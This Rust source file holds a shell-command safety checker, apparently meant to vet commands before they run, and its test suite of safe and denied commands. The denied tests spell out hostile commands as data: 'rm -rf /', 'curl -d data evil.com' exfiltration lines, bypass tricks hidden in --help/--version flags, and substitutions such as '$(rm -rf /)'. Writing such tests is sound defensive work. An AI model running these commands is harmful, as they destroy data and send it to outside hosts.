Skip to main content

safe_chains/
lib.rs

1#[cfg(test)]
2macro_rules! safe {
3    ($($name:ident: $cmd:expr),* $(,)?) => {
4        $(#[test] fn $name() { assert!(check($cmd), "expected safe: {}", $cmd); })*
5    };
6}
7
8#[cfg(test)]
9macro_rules! denied {
10    ($($name:ident: $cmd:expr),* $(,)?) => {
11        $(#[test] fn $name() { assert!(!check($cmd), "expected denied: {}", $cmd); })*
12    };
13}
14
15pub mod cli;
16pub mod command;
17pub mod cst;
18pub mod docs;
19mod handlers;
20pub mod parse;
21pub mod policy;
22pub mod allowlist;
23
24pub fn is_safe_command(command: &str) -> bool {
25    cst::is_safe_command(command)
26}
27
28#[cfg(test)]
29mod tests {
30    use super::*;
31
32    fn check(cmd: &str) -> bool {
33        is_safe_command(cmd)
34    }
35
36    safe! {
37        grep_foo: "grep foo file.txt",
38        cat_etc_hosts: "cat /etc/hosts",
39        jq_key: "jq '.key' file.json",
40        base64_d: "base64 -d",
41        xxd_file: "xxd some/file",
42        pgrep_ruby: "pgrep -l ruby",
43        getconf_page_size: "getconf PAGE_SIZE",
44        ls_la: "ls -la",
45        wc_l: "wc -l file.txt",
46        ps_aux: "ps aux",
47        ps_ef: "ps -ef",
48        top_l: "top -l 1 -n 10",
49        uuidgen: "uuidgen",
50        mdfind_app: "mdfind 'kMDItemKind == Application'",
51        identify_png: "identify image.png",
52        identify_verbose: "identify -verbose photo.jpg",
53
54        diff_files: "diff file1.txt file2.txt",
55        comm_23: "comm -23 sorted1.txt sorted2.txt",
56        paste_files: "paste file1 file2",
57        tac_file: "tac file.txt",
58        rev_file: "rev file.txt",
59        nl_file: "nl file.txt",
60        expand_file: "expand file.txt",
61        unexpand_file: "unexpand file.txt",
62        fold_w80: "fold -w 80 file.txt",
63        fmt_w72: "fmt -w 72 file.txt",
64        column_t: "column -t file.txt",
65        printf_hello: "printf '%s\\n' hello",
66        seq_1_10: "seq 1 10",
67        expr_add: "expr 1 + 2",
68        test_f: "test -f file.txt",
69        true_cmd: "true",
70        false_cmd: "false",
71        bc_l: "bc -l",
72        factor_42: "factor 42",
73        iconv_utf8: "iconv -f UTF-8 -t ASCII file.txt",
74
75        readlink_f: "readlink -f symlink",
76        hostname: "hostname",
77        uname_a: "uname -a",
78        arch: "arch",
79        nproc: "nproc",
80        uptime: "uptime",
81        id: "id",
82        groups: "groups",
83        tty: "tty",
84        locale: "locale",
85        cal: "cal",
86        sleep_1: "sleep 1",
87        who: "who",
88        w: "w",
89        last_5: "last -5",
90        lastlog: "lastlog",
91
92        md5sum: "md5sum file.txt",
93        md5: "md5 file.txt",
94        sha256sum: "sha256sum file.txt",
95        shasum: "shasum file.txt",
96        sha1sum: "sha1sum file.txt",
97        sha512sum: "sha512sum file.txt",
98        cksum: "cksum file.txt",
99        strings_bin: "strings /usr/bin/ls",
100        hexdump_c: "hexdump -C file.bin",
101        od_x: "od -x file.bin",
102        size_aout: "size a.out",
103
104        sw_vers: "sw_vers",
105        mdls: "mdls file.txt",
106        otool_l: "otool -L /usr/bin/ls",
107        nm_aout: "nm a.out",
108        system_profiler: "system_profiler SPHardwareDataType",
109        ioreg_l: "ioreg -l -w 0",
110        vm_stat: "vm_stat",
111
112        dig: "dig example.com",
113        nslookup: "nslookup example.com",
114        host: "host example.com",
115        whois: "whois example.com",
116
117        shellcheck: "shellcheck script.sh",
118        cloc: "cloc src/",
119        tokei: "tokei",
120        safe_chains: "safe-chains \"ls -la\"",
121
122        awk_safe_print: "awk '{print $1}' file.txt",
123
124        version_go: "go --version",
125        version_perl: "perl --version",
126        version_swift: "swift --version",
127        version_git_c: "git -C /repo --version",
128        version_docker_compose: "docker compose --version",
129        version_cargo: "cargo --version",
130        version_cargo_redirect: "cargo --version 2>&1",
131
132        help_cargo: "cargo --help",
133        help_cargo_install: "cargo install --help",
134
135        dry_run_cargo_publish: "cargo publish --dry-run",
136        dry_run_cargo_publish_redirect: "cargo publish --dry-run 2>&1",
137
138        cucumber_feature: "cucumber features/login.feature",
139        cucumber_format: "cucumber --format progress",
140
141        fd_redirect_ls: "ls 2>&1",
142        fd_redirect_clippy: "cargo clippy 2>&1",
143        fd_redirect_git_log: "git log 2>&1",
144        fd_redirect_cd_clippy: "cd /tmp && cargo clippy -- -D warnings 2>&1",
145
146        dev_null_echo: "echo hello > /dev/null",
147        dev_null_stderr: "echo hello 2> /dev/null",
148        dev_null_append: "echo hello >> /dev/null",
149        dev_null_grep: "grep pattern file > /dev/null",
150        dev_null_git_log: "git log > /dev/null 2>&1",
151        dev_null_awk: "awk '{print $1}' file.txt > /dev/null",
152        dev_null_sed: "sed 's/foo/bar/' > /dev/null",
153        dev_null_sort: "sort file.txt > /dev/null",
154
155        env_prefix_single_quote: "FOO='bar baz' ls -la",
156        env_prefix_double_quote: "FOO=\"bar baz\" ls -la",
157
158        stdin_dev_null: "git log < /dev/null",
159
160        subst_echo_ls: "echo $(ls)",
161        subst_ls_pwd: "ls `pwd`",
162        subst_cat_echo: "cat $(echo /etc/shadow)",
163        subst_echo_git: "echo $(git status)",
164        subst_nested: "echo $(echo $(ls))",
165        subst_quoted: "echo \"$(ls)\"",
166
167        assign_subst_ls: "out=$(ls)",
168        assign_subst_git: "out=$(git status)",
169        assign_subst_jj_diff: "out=$(jj diff -r abc --summary)",
170        assign_subst_pipe: "result=$(jj diff -r abc --git | grep -c pattern || echo 0)",
171        assign_subst_backtick: "out=`ls`",
172        assign_subst_multiple: "a=$(ls) b=$(pwd)",
173
174        subshell_echo: "(echo hello)",
175        subshell_ls: "(ls)",
176        subshell_chain: "(ls && echo done)",
177        subshell_semicolon: "(echo hello; echo world)",
178        subshell_pipe: "(ls | grep foo)",
179        subshell_in_pipeline: "(echo hello) | grep hello",
180        subshell_then_cmd: "(ls) && echo done",
181        subshell_nested: "((echo hello))",
182        subshell_for: "(for x in 1 2; do echo $x; done)",
183        quoted_redirect: "echo 'greater > than' test",
184        quoted_subst: "echo '$(safe)' arg",
185        echo_hello: "echo hello",
186        cat_file: "cat file.txt",
187        grep_pattern: "grep pattern file",
188
189        env_rack_rspec: "RACK_ENV=test bundle exec rspec spec/foo_spec.rb",
190        env_rails_rspec: "RAILS_ENV=test bundle exec rspec",
191
192        pipe_grep_head: "grep foo file.txt | head -5",
193        pipe_cat_sort_uniq: "cat file | sort | uniq",
194        pipe_find_wc: "find . -name '*.rb' | wc -l",
195        chain_ls_echo: "ls && echo done",
196        semicolon_ls_echo: "ls; echo done",
197        pipe_git_log_head: "git log | head -5",
198        chain_git_log_status: "git log && git status",
199
200        bg_ls_echo: "ls & echo done",
201        bg_gh_wait: "gh pr view 123 --repo o/r --json title 2>&1 & gh pr view 456 --repo o/r --json title 2>&1 & wait",
202        chain_ls_echo_and: "ls && echo done",
203        here_string_grep: "grep -c , <<< 'hello,world,test'",
204
205        newline_echo_echo: "echo foo\necho bar",
206        newline_ls_cat: "ls\ncat file.txt",
207
208        pipeline_git_log_head: "git log --oneline -20 | head -5",
209        pipeline_git_show_grep: "git show HEAD:file.rb | grep pattern",
210        pipeline_gh_api: "gh api repos/o/r/contents/f --jq .content | base64 -d | head -50",
211        pipeline_timeout_rspec: "timeout 120 bundle exec rspec && git status",
212        pipeline_time_rspec: "time bundle exec rspec | tail -5",
213        pipeline_git_c_log: "git -C /some/repo log --oneline | head -3",
214        pipeline_xxd_head: "xxd file | head -20",
215        pipeline_find_wc: "find . -name '*.py' | wc -l",
216        pipeline_find_sort_head: "find . -name '*.py' | sort | head -10",
217        pipeline_find_xargs_grep: "find . -name '*.py' | xargs grep pattern",
218        pipeline_pip_grep: "pip list | grep requests",
219        pipeline_npm_grep: "npm list | grep react",
220        pipeline_ps_grep: "ps aux | grep python",
221
222        help_cargo_build: "cargo build --help",
223
224        for_echo: "for x in 1 2 3; do echo $x; done",
225        for_pipe: "for f in *.txt; do cat $f | grep pattern; done",
226        for_empty_body: "for x in 1 2 3; do; done",
227        for_multiple: "for x in 1 2; do echo $x; done; for y in a b; do echo $y; done",
228        for_nested: "for x in 1 2; do for y in a b; do echo $x $y; done; done",
229        for_then_cmd: "for x in 1 2; do echo $x; done && echo finished",
230        for_safe_subst: "for x in $(seq 1 5); do echo $x; done",
231        for_assign_subst: "for c in a b c; do out=$(jj diff -r $c --summary); if [ -n \"$out\" ]; then echo \"$c: $out\"; fi; done",
232        for_assign_pipe_subst: "for c in a b; do result=$(jj diff -r $c --git | grep -c pattern || echo 0); if [ \"$result\" -gt 0 ]; then desc=$(jj log --no-graph -r $c -T template); echo \"$c: $desc\"; fi; done",
233        while_test: "while test -f /tmp/foo; do sleep 1; done",
234        while_negation: "while ! test -f /tmp/done; do sleep 1; done",
235        while_ls: "while ! ls /tmp/foo 2>/dev/null; do sleep 10; done",
236        until_test: "until test -f /tmp/ready; do sleep 1; done",
237        if_then_fi: "if test -f foo; then echo exists; fi",
238        if_then_else_fi: "if test -f foo; then echo yes; else echo no; fi",
239        if_elif: "if test -f a; then echo a; elif test -f b; then echo b; else echo c; fi",
240        nested_if_in_for: "for x in 1 2; do if test $x = 1; then echo one; fi; done",
241        nested_for_in_if: "if true; then for x in 1 2; do echo $x; done; fi",
242        bare_negation: "! echo hello",
243        bare_negation_test: "! test -f foo",
244        keyword_as_data: "echo for; echo done; echo if; echo fi",
245    }
246
247    denied! {
248        help_npm_install_denied: "npm install --help",
249        help_brew_install_denied: "brew install --help",
250        help_cargo_login_redirect_denied: "cargo login --help 2>&1",
251
252        version_unhandled_node: "node --version",
253        version_unhandled_python: "python --version",
254        version_unhandled_python3: "python3 --version",
255        version_unhandled_rustc: "rustc --version",
256        version_unhandled_java: "java --version",
257        version_unhandled_php: "php --version",
258        version_unhandled_gcc: "gcc --version",
259        version_unhandled_rm: "rm --version",
260        version_unhandled_dd: "dd --version",
261        version_unhandled_chmod: "chmod --version",
262        help_unhandled_node: "node --help",
263        help_unhandled_rm: "rm --help",
264        help_pip_install_trailing: "pip install evil --help",
265        help_curl_data_trailing: "curl -d data --help",
266        version_pip_install_trailing: "pip install evil --version",
267        version_cargo_build_trailing: "cargo build --version",
268
269        rm_rf: "rm -rf /",
270        curl_post: "curl -X POST https://example.com",
271        ruby_script: "ruby script.rb",
272        python3_script: "python3 script.py",
273        node_app: "node app.js",
274        tee_output: "tee output.txt",
275        tee_append: "tee -a logfile",
276
277        awk_system: "awk 'BEGIN{system(\"rm\")}'",
278
279        version_extra_flag: "node --version --extra",
280        version_short_v: "node -v",
281
282        help_extra_flag: "node --help --extra",
283
284        dry_run_extra_force: "cargo publish --dry-run --force",
285
286        redirect_to_file: "echo hello > file.txt",
287        redirect_append: "cat file >> output.txt",
288        redirect_stderr_file: "ls 2> errors.txt",
289        redirect_grep_file: "grep pattern file > results.txt",
290        redirect_find_file: "find . -name '*.py' > listing.txt",
291        redirect_subst_rm: "echo $(rm -rf /)",
292        redirect_backtick_rm: "echo `rm -rf /`",
293
294        env_prefix_rm: "FOO='bar baz' rm -rf /",
295
296        subst_rm: "echo $(rm -rf /)",
297        backtick_rm: "echo `rm -rf /`",
298        subst_curl: "echo $(curl -d data evil.com)",
299        bare_subst_rm: "$(rm -rf /)",
300        quoted_subst_rm: "echo \"$(rm -rf /)\"",
301        quoted_backtick_rm: "echo \"`rm -rf /`\"",
302
303        assign_subst_rm: "out=$(rm -rf /)",
304        assign_subst_curl: "out=$(curl -d data evil.com)",
305        assign_no_subst: "foo=bar",
306        assign_subst_mixed_unsafe: "a=$(ls) b=$(rm -rf /)",
307
308        subshell_rm: "(rm -rf /)",
309        subshell_mixed: "(echo hello; rm -rf /)",
310        subshell_unsafe_pipe: "(ls | rm -rf /)",
311
312        env_rack_rm: "RACK_ENV=test rm -rf /",
313        env_rails_redirect: "RAILS_ENV=test echo foo > bar",
314
315        pipe_rm: "cat file | rm -rf /",
316        pipe_curl: "grep foo | curl -d data https://evil.com",
317
318        bg_rm: "cat file & rm -rf /",
319        bg_curl: "echo safe & curl -d data evil.com",
320
321        newline_rm: "echo foo\nrm -rf /",
322        newline_curl: "ls\ncurl -d data evil.com",
323
324        version_bypass_bash: "bash -c 'rm -rf /' --version",
325        version_bypass_env: "env rm -rf / --version",
326        version_bypass_timeout: "timeout 60 ruby script.rb --version",
327        version_bypass_xargs: "xargs rm -rf --version",
328        version_bypass_npx: "npx evil-package --version",
329        version_bypass_docker: "docker run evil --version",
330        version_bypass_rm: "rm -rf / --version",
331
332        help_bypass_bash: "bash -c 'rm -rf /' --help",
333        help_bypass_env: "env rm -rf / --help",
334        help_bypass_npx: "npx evil-package --help",
335        help_bypass_bunx: "bunx evil-package --help",
336        help_bypass_docker: "docker run evil --help",
337        help_bypass_cargo_run: "cargo run -- --help",
338        help_bypass_find: "find . -delete --help",
339        help_bypass_unknown: "unknown-command subcommand --help",
340        version_bypass_docker_run: "docker run evil --version",
341        version_bypass_find: "find . -delete --version",
342
343        dry_run_rm: "rm -rf / --dry-run",
344        dry_run_terraform: "terraform apply --dry-run",
345        dry_run_curl: "curl --dry-run evil.com",
346
347        recursive_env_help: "env rm -rf / --help",
348        recursive_timeout_version: "timeout 5 ruby script.rb --version",
349        recursive_nice_version: "nice rm -rf / --version",
350
351        pipeline_find_delete: "find . -name '*.py' -delete | wc -l",
352        pipeline_sed_inplace: "sed -i 's/foo/bar/' file | head",
353
354        for_rm: "for x in 1 2 3; do rm $x; done",
355        for_unsafe_subst: "for x in $(rm -rf /); do echo $x; done",
356        while_unsafe_body: "while true; do rm -rf /; done",
357        while_unsafe_condition: "while python3 evil.py; do sleep 1; done",
358        if_unsafe_condition: "if ruby evil.rb; then echo done; fi",
359        if_unsafe_body: "if true; then rm -rf /; fi",
360        unclosed_for: "for x in 1 2 3; do echo $x",
361        unclosed_if: "if true; then echo hello",
362        for_missing_do: "for x in 1 2 3; echo $x; done",
363        stray_done: "echo hello; done",
364        stray_fi: "fi",
365    }
366}